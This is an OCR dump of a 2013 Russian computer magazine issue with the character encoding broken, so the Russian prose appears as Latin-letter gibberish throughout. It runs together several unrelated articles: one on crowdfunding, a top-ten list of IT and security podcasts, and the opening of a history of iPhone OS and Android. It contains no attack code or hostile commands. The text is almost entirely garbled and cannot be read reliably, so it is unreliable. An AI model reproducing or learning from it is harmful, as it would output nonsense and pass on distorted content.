1 BbICNaTb Harpafbl, KOTOpble Thl 0belan cBonM
bekepaM, a Tak)ke B CPOK 3aBepLUNTb CBOM NMPOEKT.
3a npoekTamu, cobpaBLIMMM CpeCTBa NPU NOMO-
Ly KpayadaHLMHTa, NPUCTaNbHO ClefsT u bekepsl,
nnpecca. 3afiepXKa B CpoKax v npoBas npoekTa
BbI30BeT bypto HerogoBaHws, U ecin npecca o Tebe
He nucana, To 0 TBOEM MpoBasie HanuLeT co-
BepLUEHHO TOYHO. [103TOMY, ecnint HeT abcontoTHOM

1 HeNoKoNeb MO yBEPEHHOCTY B TOM, 4TO TBOA
npoeKT byfeT 3aBepLUeH, JlyyLlie KaMnaHwWio no npu-
BJIEYEHWIO CPEACTB AaXe He HauMHaTb.

370 NOABOAWT HAC K UHTEPECHOMY MOMEH-

Ty: eC/I1 TBOA KaMnaHuUs NpoBasunack, To 3To
npekpacHbli pe3ynbsTat! Tbl COBEPLUEHHO TOYHO
YBUAMLLb, KaK 1 MOYeMy 3T0 CNy4nnoch, cobepellb
MHEHWs cBoWX beKepoB 1 TeX, KTO UMU He cTan,
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...a pa3paboTtuynkam Ouya yaanocb cobpaTb BoceMb
C NOJIOBMHOW MUJIZINOHOB HA LieNyio UrpoByto nnatdopmy

1 CMOXeLLb BOBPEMS CKOPPEKTUPOBATb NPOEKT,
nepepaboTas ero cnabbie cTopoHbl. M BMecTo
TOro, 4T06bl BLIXOAWNTb Ha PbIHOK C ChIPbIM 1 He-
BocTpeb0BaHHbIM NPOAYKTOM U 3aTeM CMeLIHO
ero NCnpaBAsTh U KOPPEKTUPOBATb, Thl CMOXELLb
CTapTOBATH C y)Ke BHECEHHbIMU 3apaHee nc-
npaBneHnsMU UK ynyylieHnsaMn. MoxHo cmeno
CKasaTb, 4To KpayadaHAMHIoBas KaMnaHus — 310
He ToNbKO cbop cpeAcTB Ha pa3paboTky, HO 1 Npo-
Bepka TBOeW npeun Ha BocTpeboBaHHOCTb. Brnonte
MOXET 0Ka3aTbCsl, YTO TBOSI FeHWabHas naes
MHTepecHa Tonbko Tebe 1 TBOUM Apy3baM. MoxeT
BbITb M HA060POT, MAES OKAXKETCS B3PLIBHOM
W HAaCTONbKO reHUanbHO, YT NPUAETCS BHOCUTb
COOTBETCTBYIOL{ME KOPPEKTUPOBKY B CTpPaTerio
pa3BUTWA 1 BU3Hec-NNaH.

BaxHo eLle 1 oTHowweHKe pa3paboTynkos
K KpayadaHauHry. MHorue cuutaioT (ocobeH-
HO B Halleil cTpaHe), YTo 3T0 NIerkue AeHbru
v BoobLLe Tak Ha3biBaeMas xansea. [ipyrue
N0AK (TakKe B OCHOBHOM pycCKue), KoTopble He
NoHMMaloT iBNeHe KpayadaH[uHra, CMOTpAT
Ha cobupatoLnX AeHbr pa3paboTunKoB CXOKUM
06pa3oM, cyMTas Nx YyTb M He MOLLEHHUKAMU.
Ho koHeuHo, 370 He Tak. KpayadaHAuHT HY B KoeM
cnyyae He ABASETCS 30/10ThIM KIHYMKOM. ITO
OrpoMHas paboTa, 0T Ka4ecTBa NPOBefEeHUS
KOTOPOW 3aBUCUT ycnex Bcel KaMnaHum v npo-
Basl. BaHO NOHWMaTb, 4TO 3TO He JOJKHO BbITh
npocbboii noMoyb pa3paboTumky MaTepuanbHo,
4TOObI OH CMOT CAeNaTh MPOeKT CBOEN MeYThl. IT0
COBMECTHOEe TBOPYECTBO U CO3AaHMe NPOAYKTa,
B KOTOPOM 3aKHTepecoBaH ¥ pa3paboTyunk, v ero
bekepbl. KaMnanus byaeT ycnewHom ToNbKO B TOM
cnyyae, ecnu Tbl byaelb WeAp v NofenWbCs
TBOEW MAEEN N BUAEHWNEM KOHEYHOTO NPOAYKTa
CO CBOEW LiesieBo ayanTopueil.

CKENTUKW BYAYT MOCPAMJIEHbI
Ecnv Tebs He oTNyrHyno HanucaHHoe Bbllwe

¥ Tbl X04yellb nonpoboBaTb CBOU CUJIbI, MPOBEPUTD
aKTyalbHOCTb CBOE WAEW Ha 0LJHOW 13 nJlo-
WwanoK, To 06s13aTesIbHO MOYMTaN, YTO NMULYT
pa3paboTynKm, nMetoLL e onbIT KpayadbaHanH-
ra. OcobeHHo BaxHo obLee MHeHMe, KoTopoe
MOXHO YBUAETb MOYTH B It06OM NocT-MopTeMe:
«KaMMaHWs No NpUBJIeYEHNI0 CPEACTB NpeBpa-
TUTCS B Bally OCHOBHYt0 paboTy». He cTout o7-
HOCUTBCS K 3TOMY JIErKOMBbIC/IEHHO. VIMeHHO Tak

BCe 1 byfeT, ecnu Tebe AeCTBUTENBHO BaXKeH
pe3ynbTaT v ycnex kamnaxuu. bonee Toro, ecnu
Thl NNAHUpPYyeLlb BECTU KaMNaHWio B OUHOYKY,
Thl CHUXK@€LUb CBOW LWAHChI Ha ycrex. [oMoLHNKK
¥ KOMaHAa, y4acTByloLiME B KAMNAHWNY, HE TOJIbKO
MOMOryT pacnpocTpaHaTb MHGopMaLmio 1 06-
waTbcs ¢ bekepaMu, KypHanMcTaMu, Npeccoi
(4To, HeCOMHEHHO, BaxHO). Ho 370 elue v Mopasb-
Has NOAJePXKa W CTUMYN [BUraTbCs Aanblue,
Aenatb bonblue, NpeofoseBatTh TPYAHOCTH, Npe-
NATCTBMS W MHOTAA — HEraTWB CO CTOPOHbI TeX,
KTO 0CTascs B NPOLLIOM BEKE U He MOHMMAET Unn
He X04YeT NMOHUMaTb, YTO Takoe KpayadaHAuHT
V1 Kak oH paboTaer.

B 3aknt0ueHe HeKoTopbie MbIC/IN O TOM,
Kakoe bygyuiee xpaet kpayndaHauHr. OcHoBHoM
apryMeHT CKeNTUKOB 3BYYUT NPUMEPHO TaK:
«MOCMOTPUM, YTO CIIYYNTCS, KOTAa BCEM 3TUM Ha-
cobvpaBLUVM AeHbrV MPOEKTaM HacTaHeT BpeMs
BbIATHW, NOC/IE 3TOr0 KpayApaHAVHT XAeT CMepTb
v rnbenb, Bce pa3oyapyloTcs 1 6onblue HUKTO
HWMKOrAa He OTAACT CBOM eHbIU XMTPbIM pa3pa-
6oTunkam!» OfHaKO Mano KTO U3 HUX NOTPyAMuNCS
BHWKHYTb B CyTb BOoNpoca. KpayadaHanHT B TOM
WAV MHOM BUJE CYLLECTBYET y)KE MHOrO JIeT, Mep-
Bble NPOeKTbl COBKpanu AeHbri 3aonro ao byma
nonynapHocT KnkcTtapTepa. 3a 3To BpeMs bbina
nonyyeHa cTaTMCTUKA, KOTOPas jaeT 0TBET Ha no-
LobHble MHeHus. Mpodeccop UTan Monnuk B3sn
381 cnyyaiiHblii NpoeKT 13 pa3fenos «fu3anH»
W «TEXHONOMMM» U U3YYUN UX CTaTUCTHUKY. B co-
BOKYMHOCTW 3TV NpOeKTbl cobpanu 4,5 munnnoHa
Aonnapos. M3 H1x YeTblpHaLATb He BbINOIHWUAN
cBou obeLLaHNs, TPU BEPHYAN fLeHbI Y CBOUM
bekepaM. OfMHHaLLATb OCTABLUMXCS «NOTEPSAN»
0K0110 21 ThICAYM [ONNAPOB, YTO PABHAETCS BCErO
nvwb 0,5% ot Bcex cbopos. Ecm bbl B TpafmuLmnoH-
HOM br3Hece bbin Takoi NokasaTesb YCMELWHOCTH,
Mbl Dbl ceityac xunu B coBceM Apyrom mupe. Pe-
3I0MUPYS, MOXHO NPEANoN0XNTb, 4TO C KpayAdaH-
OVHIOM W flanblie bypeT Bce npekpacHo. MHTepec
MOXET CHWU3UTbCS, HO ayanTopus bekepos B bau-
Xaniwue roasl byget npofonKaTb yBeNNYMBaTHCS
1, cKopee BCero, cTabunuanpyertcs TonbKo Yepes
MHOrO JIeT, @ KOMNaHWA, HaYNHAIOLLMX CBOW NYThb
npv noMolun kpayadanamHra, byget Bce bonblue.

ByneT nv kpayadaHauHr Korga-Hubyab
paboTath B Poccun? HenssecTHo. [lns Toro 4tobbl
OH Hayan paboTaTb, JO/KEH N3MEHUTLCS HE TOMb-
KO MEHTaNNTeT COBPEMEHHOT0 PyCCKOro Yesnose-
Ka, HO M YCNOBWS XW3HW. Ecan Ans rpaxaaHnHa
CLWA otgath 20-100 gonnapos Ha NoHpaBUB-
LWNIACS eMy MPOeKT He NpeacTaBnseT npobsem,
TO AiN151 DOSIBLUMHCTBA PYCCKMX NIOAEN 3TO NpU-
NIMYHble CyMMbI. [ToaToMy, noka Poccus He cTaHeT
BnaronosnyyHol cTpaHow, kpayadaHauHr byget
pa3BMBATLCH 04eHb MeAsieHHo. BoaMoxHo, ecin
Ha 0TeYeCTBEHHOW NOLafKe CNYYUTCH Kakow-
HUBYLb rpoMKUiA ycnex Hanogobue Wasteland 2,
CUTYyaLMs U3MEHUTCS U chopMUpyeTCs 3a4aToK
coobuecTtsa bekepos. Kukctaptepy notpebosa-
nocb YeTbipe rofa Ha To, YTobbl LOXAATLCA Nep-
BOV Ae/ICTBUTEIbHO YAa4YHO KaMnaHuu, nocne
yero o KpayadaHANHTe 3aroBOPUIN NOBCEMECTHO.
CKOMIbKO HYXXHO Ha TaK0e Xe Halllel cTpaHe, no-
KaxeT BpeMs. Ho 0fjHO COBEpLLEHHO TOYHO: BCe
B BalUWX pyKax U 3aBUCUT OT KaK[oro u3 Bac. 3C
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PCZONE

Mapwus «Mifrill» Hedeposa (mifrill@real.xakep.ru)

HT0 MOCMOTPETH
/1 MOCSYLLIATh

He cekpeT, 4To B CErofHsaLLIHEM OKeaHe MHbOpMaLMM OPUEHTUPOBATHLCSH
L,0BOJIbHO CNIOXHO. K TOMY e Laneko He BCEM eCTb KOrfia BblYeHATh
13 NJOTHOIrO0 MHPOPMALMOHHOIO MOTOKAa CaMoe JlyyLlee U MHTepecHoe.
CerofHsi Mbl Nonpobyem c3KOHOMUTbL TBOE BpeMs. [lpeAcTaBnsieM cnm-
COK rapaHTUPOBaHHO MHTEPECHbLIX MO4KACTOB 1 BUAEOKACTOB 0 XaKMHTe,
nHdOopMaLMOHHOW Be30MacHOCTU 1 He ToNbKo. Enjoy!

FOPHAYASA

AECATKA

Cnoso «nogkacTuHr» obpazosaHo
oT aHrnuickux iPod n broadcast-
ing [noscemecTHoe BeulaHue).
[MoAKacTUHIOM Ha3biBatloT NpoLiecc
CO3/laH1S U PacnpocTpaHeHns
3BYKOBbIX MW BUAeodainnos
(nomkacToB 1 BUAEOKACTOB) B cTUE
pajuo- uTenenepenay B UHTEpHETe.
Mo cyTu, 3To pa3HOBMAHOCTb
6norruuHra. Wtorosbiit pain

06bI4HO NybAnKyeTca Ha canTe
npoekTa 1 Tak pacnpocTpaHseTcs.
HaBepHsika Tbl 3HAKOM C pecypcamu
podfm.ruw rpod.ru, rae nerko
MOXHO COCTaBUTb CBOW MHTEPECHbI
nnen-nucT, B ToM Yucne u IT-

WHOM HanpasneHHocTW. OfHaKo

He BCe NoJKacTbl COCPe0TOYEHbI
Ha NoJobHbIX pecypcax.

NMNOAKACTOB

PAOVO T THE ART OF PROGRAMMING
radio-t.com taop.rpod.ru
@ eXKeHejeN1bHO @ PyCCKUi @ HeperynspHo (paHee exeHefensbHo) @ pycckuit

370 exeHepfenbHoe Hi-Tech-wwoy, Bbi-
xofsLLee B npsiMoit adup no cybbotam 'ﬁ
- B8 23:00 o MOCKOBCKOMY BPEMEHMW. .
= 3 AypuTopus NofKacTa eLle rof Hasag, =

COCTaBNSNa NMPUMEPHO CTO ThiCAY Ye-
noBek, a ceityac v Toro bonbue. Odu-
LanbHoe 0NMCcaHu1e rnacuT: «aBTopbl
¥ MPUTNALLEHHbIE TOCTU UMMPOBU3MPYIOT HA OKOSIOKOMMbIOTEPHbIE TEMbI.

Kak npaBsuno, He 3ane3as B rnybokve aebpw, 0fHaKO MHOMAA HAC 3aHOCKT
;J». B rocTax y pebsT feiicTBUTENbHO BbIBAIOT 04eHb UHTEPECHbIE U Camble
pasHble [T-N0AN, NKOC MOXHO NPeAnaraTb CBOU TeMbl A5 06CyXAeHUS :
1 obLaTtbes ¢ Benylwmm B Jabber-yaTe Bo BpeMs adupa.

040

[MopkacT foBONbHO HEObbIYHO pa3-
HOBWAHOCT — OH OPUEHTMPOBaH

Ha NMPOrpaMMICTOB U COYYBCTBYIOLLUX
(To ecTb CTyAEHTOB, HAYMHAIOLLMX
pa3paboTunkoB v Tak ganee). ABTop
perynsipHo 0bo3peBaeT TeMaTuye-
CKYyI0 INTepaTypy, KoTopas MOXeT
npuroguTbes B paboTe, rosoput

06 0bpa3oBaHMK, 0CBeLLaeT UHTepec-
Hble MaTepuanbl B CeTu u n3naraet
CNOXKHbIE BELLMW KpaiiHe LOX044NBO

¥ NoHsTHO. [porpamMmucTam onpepe-
NeHHO pekoMeHyeTcs !
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I'opﬂqaﬂ AecCATKa noakKacToB

HAKS

hak5.org
@ eXXeHeesIbHO @ aHMIMACKMNIA

3BecTHeNWNA aMepUKaHCKuii
BUAEOKacT, cylecTBytowuii ¢ 2005
roga v BobpaBLunii B cebs bykBanbHO
BCe. 3T0T 35-MUHYTHbIN KOKTENNb

B paBHbIX NPONOpLUAX coyeTaeT

B cebe pa3Hble Xxakepckue WTyuKy,
«cpenaw cam» nNpoeKTbl, KOMMEH-
Tapuu 3KCNepToB, IOMOP, MOAAMHT,
CLIEHY, UFPOBble HOBOCTU, HOBOCTW IT-NHAYCTPUM W Tak Aanee, fanee,
nanee. Kaxpblii HalieT 34ecb YTO-TO CBOE, U CKYYHO TOYHO He byaeT.

PAULDOTCOM — SECURITY WEEKLY

pauldotcom.com
@ eXXeHeeNlbHO @ aHTTUNCKUN

[laHHbIN NOAKACT LeSIMKOM MoCBSALLEH
npobnemam, HOBOCTAM U HioaHCaM
MHGOPMaLMOHHOM BesonacHocTy.
MoAKacT «MMEHHOM», OH NpefcTaB-
fleH [L0BOJIbHO U3BECTHbIM 3KCMEPTOM
B 0bnactn VB Monom AcapypraHom
(Paul Asadoorian), eBanrenu-

ctoM Tenable Network Security.
Coepywmu Mona BbICTYNAKT HECKOIbKO CEKbIOPUTN-3KCMEPTOB.

B PaulDotCom ocBelyatoTcs nocnefHWe HOBOCTH, YAI3BUMOCTH, UCCNeLo-
BaHus 1 Tak fanee. CornacHo opnLManbHOMy onucaHuio, cnylias aTot
MOAKACT, Thl CTaHELb HACTOALLUM «CEKBIOPUTU-HUHA3S> :).

INFORMIT

informit.com/podcasts/index.aspx
@ HECKOJIbKO pa3 B Heflesll0 @ aHrIMACKNiA

JlobonbITHBI KOHFIOMEpaT ayAmno-
RIS Y BUAO NOAKACTOB, CyMMapHO
0XBaTbIBAOLLMIA NPAKTUYECKN BCE
cdepnbl IT. YnobHo pa3peneH Ha oT-

i P anbi
B 8l Bt FRmiciany

r e DenbHble KaHanbl, CPefM KOTOPbIX:

= (b S——— == Bonpocsl cepTuduKaumny, cetesas

e He3onacHoOCTb N UHPOPMALMOHHAS
- == . 6e30MaCHOCTb B LieJI0M, NOJKaCTbI

— ons Mac- u Windows-paesenonepos,
oTnenbHbli Open Source nogkact u MHoroe fpyroe. O6HoBAseTCS BCe 3T0
4acTo 1 perynspHo.

SECURABIT
securabit.com
@ 2-3 pa3a B MecsL, @ aHTIMINCKUI

Elle oavH noakacT, rnaBHoM TeMoi
KOTOpOro ABNseTcs MHdopMaLm-
OHHas be3omacHoCTb BO BCeX ee
nposiBneHusax. Ha cainte peanuso-
BaHa 04YeHb y0bHas cucTeMa Ha-
BUraLum — MOXHO BbibpaTh ntoboit
NHTepecyloLnii Tebs Tonuk (6yab
To 6OTHETHI, colManbHas nHxe-
Hepws, y3BMMOCTU UW peBepc
MasiBapu) v MosyyYnTh CIMCOK BCEX BbIMYCKOB, FAe 06CYXAaNNCh W MOA-
HUManWCchb AaHHble BOMPOCHI.
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RISKY BUSINESS

risky.biz
® eXXKEeHEeSIbHO @ aHMUIACKUIA

— .1 Asctpanuiickuin nogkact ot [atpu-
'!="' : ka [pes (Patrick Gray), ussectHoro
XKypHanucTa, paboTaloLLero ¢ TakKuMu
n3nannsMm, kak The Age, Wired,
ZDNet, CNet, n akcnepTa B 0bnactu
MB. Risky Business Bbixogut ¢ 2007
rofia, HacuuTbiBaeT yxe bonee 200
BbIMYCKOB U NOBECTBYET B OCHOBHOM
o0 npobiemax HpopMaLnoHHo besonacHocTy. 3fech Thl Halhellb HOBO-
CTU, UCYEPNbIBAIOLLME UHTEPBbIO CO 3HAMEHWUTLIMU NEPCOHaMMU, @ TaKxKe
pasnuyHble NosesHble Nekuny 1 npesextaumnn. OpumanbHoe onncanne
rNacKT, YTO 3TO «MOAKACT 0 He3onacHoCTH be3 NULLHero Tpena.

100% VIRUS FREE PODCAST
www.esetnod32.ru/company/viruslab/podcast
® exeMecsayHo (MHoraa pexe) @ pycckuii

Anekcanap Matpocos (amatrosov.
blogspot.ru) 3 komnanuu ESET
BefeT [JaHHbI NoAKaCT 4J14 TOro,
4T0bbI ThI BCETAA ObIN B KypCe 3a-
MEeTHbIX COObITUI, MPOUCXOAALLMX

B chepe aHTUBUPYCHbIX TEXHOOMUI
(v He TonbKo). 3T0 KpaiiHe AnHa-
MUYHbIN cermeHT IT-6e3onacHocTy,
HaboAaTh 3a pa3BUTMEM COOBLITUI B KOTOPOM 0COBEHHO MHTEpeCHO.
B rocTsxy nofkacTa 4yacTo ObIBAOT UMEHWTbIE CMIELUANCThI.

erT

SOCIAL-ENGINEER PODCAST

social-engineer.org/podcast

® eXXEMECHYHO @ AHTTMINCKMIA

[MopkacT canTa «coLumanbHbIN
VHXeHep», KaK Tbl MOHWMaellb,

He coBceM 0bbiueH. OfHaKo Her,
3[1eCb JANEKO He BCeraa ropopat
HEenocpefCTBEHHO 0 COLMaNb-

HOW MHXeHepuu (xoTs 1 YacTo).
HekoTopble BbIMyCKW MOHOCTHIO
NOCBSLLEHbI U3BECTHBIM IMYHOCTSAM,
KPYNHbIM KOHdepeHLUaM, 3HakoBbIM cobbITUAM B Mupe IT 1 Tak fanee.
Co3paTeny AaHHOro pecypca 1 nogkacTta npusbiBatoT nosHasaTb b
yepe3s obyyeHue n cO3[al0T 4151 3TOMO BCE YCI0BUS.

SCENE

scene.rpod.ru
@ pa3 B HECKOJIbKO MeCsLIEB @ PYCCKUN

S ; e e Tennbivi NamMnoBbIV NoAgKacT
el el . C roBoOpSLMM Ha3BaHKeM. Becem

“ - NobuTensm feMocLieHbl — KpanHe

. pekoMeHpyeTcs. OTNUYHbIE NOA-
BopKU TPeKepHOW My3blKW, HOBOCTU
0 [leMOonaTy, NCTOPUS MUPOBOWA
1 POCCUINCKON CLLEHbI, 0630pbI CTa-
PbIX 1 Y>Ke KYNbTOBbIX MEPONPUATHIA.
CnoBoM, BceM, KOro MyyaeT HOCTanbrus, 1 BceM, KoMy HebespasnuuHa
AeMocLeHa, — CMOTpeTb W ciywaTb! Xanb, 4T0 06HOBAEHNS LOBOBHO
HeperynspHsi.
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EBrenuit 306HuH (androidstreet.ru)

3a nocnefgHue rogbl MOOUbHbBINA PEIHOK W3-
MEHMJICS HAaCTOJIbKO CUIbHO, YTO CErofHs
[,aXKe TONOBbLIN CMapTHOH NATUNETHEN LaB-
HOCTW BbIFASIAUT Heneno v cMelwHo. Passutue
MobubHbIX OC ABUranocb CEMUMUIIbHBIMU
waramm, 1 oT rocnofCTBOBABLUMX KOrLa-To
Symbian n Windows Mobile He ocTanock Hu-
4yero, KpOMe BOCMOMMHaHWKA. B ToM, 4yTo npo-
M30LWUJI0 3@ NOCNESHME NATb JIET U NOYEMY
N3MEHeHNs 0Ka3aNncb CTONb rnobanbHbIMK,
Mbl MonbiTaeMcs pa3obpaTbCs B 3TON CTaTbe.

XAKEP 01/168/2013



2007: IPHONE 0S 1.0 1 NEPBbIV
AHOHC ANDROID

2007 rog cTan 0HUM M3 CaMblX BaXKHbIX

B UCTOPUW Pa3BUTUA KaPMaHHbIX KOMMbIOTEPOB

1 cMapTdoHoB. IMeHHo B 3ToM rogy, 9 siHBaps,
Ha BbicTaBke Macworld Conference & Expo 6bin
npefacTaeneH iPhone, nepeBepHyBLMiA BCe Npea-
CTaBNeHWs nonb3oBaTeseit o cMapTdoHax. [ocne
npe3eHTauun «tenedoHa Ctusa [xobca» Bce
0CTaNibHble CMapTHOHbI MTHOBEHHO CTann ycTa-
peBLINMM, NPUYEM HACTONbKO, 4To, byab iPhone
BbIMYLLEH Ha rofj N03Xe, CUTYaLNs HUCKONbKO Dbl
He U3MeHUNach.

MmeHHo iPhone 3afan ToT CTUAb B3aUMOAEN-
CTBWS CO CMapTHOHOM, K KOTOPOMY Mbl MPUBbLIKIIN
cerofHs. HuKkakux knasuil ynpaBneHus, H1Kka-
KOro CTU/IyCa U MEeNTIKUX 3/1IeMEHTOB Ha 3KpaHe,
HUKaKOro AXKOMCTNKA, MECTO KOTOPbIX 3aMeHUN
B0MbLLIOV YeTKUI 3KPaH, N0-HaCTosLLEMY YMHas
onepawunoHHas cucTeMa, pabounit cTon, no-
no6HbIn Mac 0S X, nonHoueHHbI Be6-bpay3ep
1 KOHLIeNLMS «HEeCKONbKUX KacaHni» AN fo-
cTyna Kk 6o GyHKLMKM feBaiica. BoinyLeHHbIR
Ha pblHOK B WioHe, iPhone cTan abconoTHBIM XK1~
TOM MPOJaX Ha HECKOJIbKO NeT BNepef v NpuHec
S67104HON KOMMaHUU MUIIMAPAHbIE MPUObINU.

MHTepecHo, 4To B TexHMYeckoM nnaHe iPhone
BOBCe He bbl NpopbiBoM. [TpakTuyecku Bce Ha-
X0LKW, npunucsiBaemsle CTuey [xobey n Apple,
CyLLeCTBOBAN U paHee, HO, KaK 3To Bceraa bbl-
Bano c Apple, oHv nepBble foraganucs cobpaTb
BCe Jlyyllee BMECTe ¥ peasin3oBath 3T0 Ha TakoM
BbICOKOM ypoBHe. Bo MHorom aTo yganocs bnaro-
Aaps ucnonb3oBaHuio nonHoueHHoit OC, koTopas
bakTuyecku beina popkomM HacTonbHoi Mac 0S X
1, KakK cnepcTeue, obnafana WMpoyanwmMm Bo3-
MOXHOCTSIMU 151 CO3JaHUSA NPUIOXKEHNA. OHK
MOT/IV 33[ieMCTBOBAaTh B CBOEW paboTe nobble
dyHKUMK TenedoHa, B ToM yncne 3D-yckoputens,
bnaropaps kotopomy nHtepdeiic iPhone 0S
paboTan Ha yauBneHue NiaBHo v bbicTpo.

MOBIJ]
NATUNETKA

—3 Beinyck iPhone 3G

—a Beinyck iPhone 3 AHOHC MarasuHa

MOBUNBHBIX
O [epBblii aHOHC npunoxeHuin Apple
Android App Store

Co3paHue anbsHca
npousBoguTenen
MoOMSIbHON
TexHuku OHA

Bbinyck nepsoro
cMapTdoHa Ha baze
Android 1.0 HTC
Dream
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OHAT

Samsung Galaxy Nexus nog ynpasnexuem Android 4.0

MepBas Bepcusi iPhone 0S He obnagana
KaKo-T0 0CO6eHHON GYHKLMOHANBHOCTbIO,
HO NpeAJiarana nojib3oBaTesNsiM 0CTATOYHO
MONHbINA CTEK NPUSTOXKEHWNI 419 NOBCEAHEBHON
paboTbl, BKJILOYAA YMHYI0 afipeCHYI0 KHUTY,
bpaysep, npourpsiBaTenb MyabTUMeanadannos,
NAAHWPOBLLUK, MOYTOBbINA KIMEHT, BYAUAbHUK
n apyrvie. [lns BCero octasbHoro xe, Kak 3to
Hu cTpaHHo, Ctus [Ixobc npepgnaran ncnonb3o-
BaTb BEO-NPUA0XKEHNS, KOTOPbIE Y)Ke B TO BpEMS
npekpacHo pabotanu B MobunbHo Bepcum
Safari. [MopnepxKa e CTOPOHHUX NPUIIOKEHW
He bblna NpefycMOTPEHa Kak TakoBasi 1 NosiBu-

—3 Beinyck

Bonblas Tpolika

Nacb TONbKO BO BTOPOW BEPCUM OMepaLnoHHo
CUCTeMbI, KOTOpas Obla BbINyLieHa POBHO Yepes
rof, nocsie Hayana npoAax nepsoro iPhone.
2007-# cTan Takxe rogom aHoHca Android,
KOTOPbI ABHO NPOU3OLLEN NOA AaBleHUEM
CTpeMuUTesIbHO HabupatoLero NonynsapHOCTb
npogykta ot Apple. Torga Android durypuposan
ToNbKO B BUAe beTa-Bepcum KoMnnekTa Ans pas-
pabotunkos (SDK], ocHalLeHHOro 3MynaTopoM,
B KOTOPOM MOXHO bbI110 BXMBYIO «nokpyTUTb» OC.
12 Hoabpsi SDK 6bin BbinoxeH B CeTb, 1 noboit
nosb30BaTenb UK pa3paboTymnk Mor cocTaBUTb
cBOe finyHoe BneyatneHue ot OC v pewnTs

—>3 ObHoBneHue
Android o Bepcuu
4.0

—0O Beinyck nnaHweTa
Motorola Xoom
nof ynpasneHuem
nepeoin

iPhone 3GS

ObHoBneHune
Android go Bepcuu
2.1

Havano Bbinyck iPhone 4
CTPEMUTENbHOIO ¢ Retina-gucnneem
pacrnpocTpaHeHus

Android ObHoBREHME

Ha MObUIbHOM Android

pblHKe no Bepcun 2.3

niaHWeTHON 3 O6HoBnEHMe

Bepcuu Android

3 Beinyck iPhone

4sni0S5.0
CTrofI0COBbIM
NOMOLLHWUKOM Siri

Android go Bepcum
4.2, ocHalleHHON
MHHOBALMOHHbBIM
MOOMbHBIM
MOMOLLHWKOM
Google Now

Bbinyck iPhone 5
C YAJIMHEHHbIM
3KPaHOM
n0Ci0S 6.0
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MepBbin iPad

Ans cebs, CTOMT N1 OHa ero BHUMaHus. M Bneyat-
NeHns BoNbLIMHCTBA NoJel 0Ka3anuch 04eHb
HeofHo3HauHbIMK. Cpa3y bpocanock B rnasa
nofo3puTenbHoe cxofcTBo ¢ iPhone 0S; Android
BbIFNAAEN KaKOWN-TO HeNenon Konue onepaum-
OHHOW cucTeMbl Ans iPhone, HaMHoro MeHee ad-
bekTHoOW, Ho dakTuyecku nosTopaBLuen ee. Bo-
BTOpbIX, Google noLwna no HEMHOro CTpaHHOMY,
HO NlorMyHoMy nyTu, ocHacTue OC BUpTyanbHoOM
MawmnHow Dalvik, ucnonHsioueit csoit cobcTBeH-
HbI popMaT baiiT-Kofa, KOTOPbIV FeHepupoBancs
13 baiT-Kopa Java-npunoxeHuin.

OpHako rnasHou yepToi OC cTana ee ABHas
HeLopaboTaHHOCTb, BbI3BaHHas MOroHeN 3a cTpe-
MUTenbHO Habupatoleit nonynspHocTs iPhone
0S. B nepeoM Android’e He 6bi0 faxe Takux
NPOCTbIX Belleil, Kak Ha3KpaHHas KnaBuaTypa,
nopaepxka Bluetooth n OpenGL, BupTyanbHas
MalllMHa ucnonHana bant-kopn 6e3 3agencTeo-
BaHua JIT-komnunauuu, a obliee BneyatieHune
co34aBanoch Takoe, 4yto B OC HeT Kakoi-To
LIeHTpaNbHOM JIMHUM, HO €CTb MHOXECTBO WH-
TepecHbIX Naei, HebpexHo HaNoXeHHbIX ApYr
Ha ipyra cTonkoii. Takoe oLyLUEeHue, K CNOBY,
ByfeT coxpaHsaTbCs ele A0AT0, BNAOTb 0 BbiMy-
cka yeTBepToii Bepcun OC.

Kak 6bl TaM HU bbino, B pesynbTate Google
BCe-Taku CMOrfla NepeMaHuTb He3aBNCHUMbIX pas-
paboTUMKOB Ha CBOIO CTOPOHY, YCTPOUB KOHKYPC
Ha CO3/aHWe YHNKaNbHbIX NPUIOXEHWUN C 04EHb
3aMaHYMBbIMW NPU3aMK B BULE MHOXKECTBA
L0N1N1apoBbIX Kyniop. 3TOT GUHT Aan bonbLiomn
BbIUIPbILL MPY 3anycke npofax nepsoro Android-
cMapTdOHa B CIIELYIOLEM FOAY.

2008: IPHONE 0S 2.0 ¥ ANDROID 1.0
2008 rop 03HaMeHoBaNCs cpa3y ABYMS BaXKHbIMU
COObITUAMMU, OJHUM W3 KOTOPbIX CTasl BbIMYCK
Hosoro iPhone 3G, paboTatowero nog ynpas-
neHueM iPhone 0S 2.0. Cam no cebe cMapTdoH
He MpeAcTaBnan 0coboro MHTepeca u ABNANCS
He YeM MHbIM, Kak cllerka jopaboTaHHOM Bepcuet
nepsoro iPhone, B KOTOPOM NosiBUNach NoAAepX-
ka 3G u A-GPS. Ho BoT onepauunoHHas cuctema
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iPhone 0S 2.0 BHOBb cTana cBoeobpasHbiM Npo-
pbIBOM, MPUHECS BlafeNbliaM CTaporo 1 HOBOro
BapuaHTa cMapTGoHa AONTOXAAHHYI0 NOALEePXKKY
HaTWBHbIX MPUITOKEHNA.

[TpnynHbI, No KoTopbIM 3T0 cobbITHE CTaNo Ha-
CTOJIbKO BaXXHbIM, NpocThbl. Byfy4n nonHoueHHO R
0C, paboTatoLLeit Ha cTaHLAPTHOM COBPEMEHHOM
Xenese v nofAepXxunBatoLLei BCce ero BO3MOXHO-
cTu, iPhone 0S pana paspaboTyrkam Bo3MOX-
HOCTb CO3/1aBaTb NPUII0XKEHNs 6e3 ornagKku
Ha COBMECTUMOCTb, pa3Mepbl 3KpaHa, orpaHu-
YeHUs yCTPOMCTBA MAW cpefbl ucnonHenus (Java
ME, Hanpumep). 3To Np1BEIO K NOABNIEHIIO 60/1b-
LIOro KoJMyecTBa MObUbHbIX MPUA0XKEHWI CO-
BEPLUEHHO HOBOrO KJ1acca, KoTopble 3afeiCTBYI0T
B CBOE paboTe faTYMKU MOMOKEHNS, KOMNaAC,
GPS-Mopynb 1 npenMyLiecTBa 60bLIOr0 3KpaHa.
Kpome Toro, iPhone OS, no cyTun, nonoxuna Ha-
4ano NosBAEHMIO LeNCTBUTENbHO KauyeCTBEHHbIX
MOBUNBHBIX UFP, KOTOPbIE MOT/IN MOXBACcTaTbCs
xopoweit 3D-rpadukoii (3ageiicTByeTCS BCTPOEH-
Hbli 3D-ycKopuTEb C MOTHOLEHHON NOALEPKKOM
OpenGL), a Takxxe MHOTONanbLEBbIM CEHCOPHBIM
ynpaBfieHWeM 1 ynpaBaeHUeM C MOMOLLbIO AaT4m-
Ka NoNoXeHUs.

CBolo pofib Take Cbirpasa npaBubHO Bbl-
